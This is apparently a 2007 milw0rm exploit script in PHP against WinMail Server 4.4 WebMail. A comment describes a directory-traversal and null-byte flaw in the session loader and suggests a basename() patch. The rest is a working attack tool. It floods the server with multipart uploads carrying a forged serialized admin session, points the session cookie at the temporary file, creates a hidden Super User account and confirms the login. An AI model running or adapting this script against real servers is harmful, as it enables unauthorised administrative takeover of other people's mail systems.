WinMail Server 4.4 build 1124 - 'WebMail' Remote Add Super User

<?php
/*  WinMail Server 4.4 build 1124 (WebMail) remote add new Super User exploit
 *  by rgod
 *
 *  software site: http://www.magicwinmail.net/download.asp
 *
 *
 *  vulnerable code in /inc/class.session.php at lines 8-25:
 *  ...
 *	 function Load() {
 *		$result      = Array();
 *
 *		$sessionfile = $this->temp_folder."_sessions/".$this->sid.".sess";
 *		if(!file_exists($sessionfile))
 *			return false;
 *
 *		$size = filesize($sessionfile);
 *
 *		$fp = fopen($sessionfile, "rb");
 *		if ($fp){
 *			$result = fread($fp, $size);
 *			fclose($fp);
 *		}
 *		$result = unserialize(base64_decode($result));
 *
 * 		return $result;
 *	}
 * ...
 *
 * This function should check for session files located	in /temp/_sessions
 * folder outside of the www path. But the "sid" argument is not checked
 * for directory traversal attacks. So you can supply a path to an arbitrary
 * file, ex: a temporary uploaded file with well crafted content.
 *
 * phpinfo() shows that the value for upload_tmp_dir is not set, so the folder
 * used to store this files becomes /windows/temp or /winnt/temp.
 *
 * also magic_quotes_gpc = off and open_basedir is not set, so...
 *
 * http://target:6080/admin/main.php?sid=../../../../../../windows/temp/phpFFFF.tmp%00
 *
 * set the magicwinmail_session_id cookie to the same value and you will have admin
 * access!
 *
 * This script uploads a large amount of temporary files to quickly reach
 * the ffff index and quickly call the main script before the temporary file is deleted
 * to set a new Super User account.
 *
 * Possible patch:
 *
 * ...
 * $sessionfile = $this->temp_folder."_sessions/".basename($this->sid).".sess";
 * ...
 *
*/

if ($argc<2) {
    print_r('
Usage: php '.$argv[0].' host OPTIONS
host:      target server (ip/hostname)
Options:
 -p[port]:    specify a port other than 6080
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost -P1.1.1.1:8080
php '.$argv[0].' localhost -p81
');
    die;
}
error_reporting(0);
ini_set("max_execution_time",0);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],(int)$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function sendii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex, $ssock;
  if ($proxy=='') {
    $ssock=fsockopen(gethostbyname($host),$port);
    if (!$ssock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ssock=fsockopen($parts[0],$parts[1]);
    if (!$ssock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ssock,$packet);
}

$host=$argv[1];
$path=$argv[2];
$port=6080;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

$____suntzu=array();
$____suntzu["user"]="admin";
$____suntzu["pass"]="suntzu";
$____suntzu["usertype"]="0";
$____suntzu["adminrange"]="";
$____suntzu["auth"]="1";
$____suntzu["start"]="9999999999";
$____suntzu["initconfig"]["mailstore_directory"]="C:\\";
$____suntzu["initconfig"]["netstore_driectory"]="C:\\";
$____suntzu["initconfig"]["postmaster_address"]="[email protected]";
$____suntzu["initconfig"]["congratulate_subject"]="welcome";
$____suntzu["initconfig"]["congratulate_content"]="hi";
$____suntzu["initconfig"]["ldap_base_dn"]="o=magicwinmail";
$____suntzu["initconfig"]["ldap_root_dn"]="o=magicwinmail";
$____suntzu["initconfig"]["ldap_root_pwd"]="9999999999";
$____suntzu["initconfig"]["allow_webadmin"]="1";
$____suntzu["initconfig"]["idle_timeout"]="1800";
$____suntzu["initconfig"]["enable_cookies"]="";
$____suntzu["initconfig"]["smtp_server"]="127.0.0.1";
$____suntzu["initconfig"]["smtp_port"]="25";
$____suntzu["initconfig"]["ldap_server"]="127.0.0.1";
$____suntzu["initconfig"]["ldap_port"]="309";
$____suntzu["initconfig"]["register_user_total"]="20";
$____suntzu["mainpage"]="1";
$____suntzu["accountstatus"]="2";
$____suntzu["expiretime"]="2592000";
$____suntzu["searchtype"]="";

$my_magic_string=serialize($____suntzu);
$my_magic_string=base64_encode($my_magic_string);

echo "magic string -> ".$my_magic_string."\n";

//fill with possible locations
$my_path=array("../../../../../../winnt/temp/",
               "../../../../../../windows/temp/",
	       "../../../../../winnt/temp/",
               "../../../../../windows/temp/");

$my_file="phpFFFF.tmp"; //change, if u want
$my_admin="akira";
$my_pass="akira";
$my_retries=9999;

echo "Please wait ...\n";

for ($j=0; $j<count($my_path); $j++){
    for ($i=0; $i<$my_retries; $i++){
        $data="";
        for ($k=1; $k<=999; $k++){
            $data.="-----------------------------7d6224c08dc\n".
            "Content-Disposition: form-data; name=\"suntzu[$i][$k]\"; filename=\"suntzoi$i$k\";\n\n".
            $my_magic_string."\n";
        }
        $data.="-----------------------------7d6224c08dc--\n";
        $packet="POST /admin/main.php HTTP/1.1\r\n". //a time consuming script
        "Host: ".$host."\r\n".
        "Accept: text/plain\r\n".
        "Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n".
        "Content-Length: ".strlen($data)."\r\n".
        "Connection: Keep-Alive\r\n\r\n".
        $data;
        sendii($packet);

        $sid=urlencode($my_path[$j].$my_file."\x00");

        $data="dest=adminuser".
        "&sub_action=added".
        "&sid=$sid".
        "&lid=0".
        "&tid=0".
        "&adminrange=".
        "&oldpassword=".
        "&username=".urlencode($my_admin).
        "&password=".urlencode($my_pass).
        "&confirmpwd=".urlencode($my_pass).
        "&description=suntzuuuuu".
        "&usertype=0H";
        $packet="POST /admin/main.php HTTP/1.1\r\n".
        "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n".
        "Referer: http://$host:$port/admin/main.php\r\n".
        "Accept-Language: it\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".
        "Accept-Encoding: text/plain\r\n".
        "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\r\n".
        "Host: $host:$port\r\n".
        "Content-Length: ".strlen($data)."\r\n".
        "Connection: Close\r\n".
        "Cache-Control: no-cache".
        "Cookie: magicwinmail_session_id=$sid; magicwinmail_admin_default_theme=admindefault; magicwinmail_admin_default_language=en; magicwinmail_admin_default_domain=server.com; magicwinmail_default_theme=default; magicwinmail_default_language=en; magicwinmail_domain_name=server.com; magicwinmail_login_userid=postmaster\r\n\r\n".
        $data;
        send($packet);

        fclose($ssock);

        $data="f_user=".urlencode($my_admin).
        "&f_pass=".urlencode($my_pass).
        "&lng=0".
        "&sid=".
        "&tid=".
        "&dest=login";
        $packet="POST /admin/login.php HTTP/1.0\r\n".
        "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n".
        "Referer: http://$host:$port/admin/login.php\r\n".
        "Accept-Language: en\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".
        "User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n".
        "Host: $host:$port\r\n".
        "Content-Length: ".strlen($data)."\r\n".
        "Pragma: no-cache\r\n".
        "Cookie: magicwinmail_admin_default_theme=admindefault; magicwinmail_admin_default_language=en; magicwinmail_admin_default_domain=server.com; magicwinmail_default_theme=default; magicwinmail_default_language=en; magicwinmail_domain_name=server.com; magicwinmail_login_userid=postmaster\r\n".
        "Connection: Close\r\n\r\n".
        $data;
        send($packet);
	if (!eregi("badlogin",$html)){die("Done! Login to the admin panel with username \"$my_admin\" and pass \"$my_pass\"\n");}
    }
}
//if you are here...
echo "exploit failed...";
?>

# milw0rm.com [2007-04-01]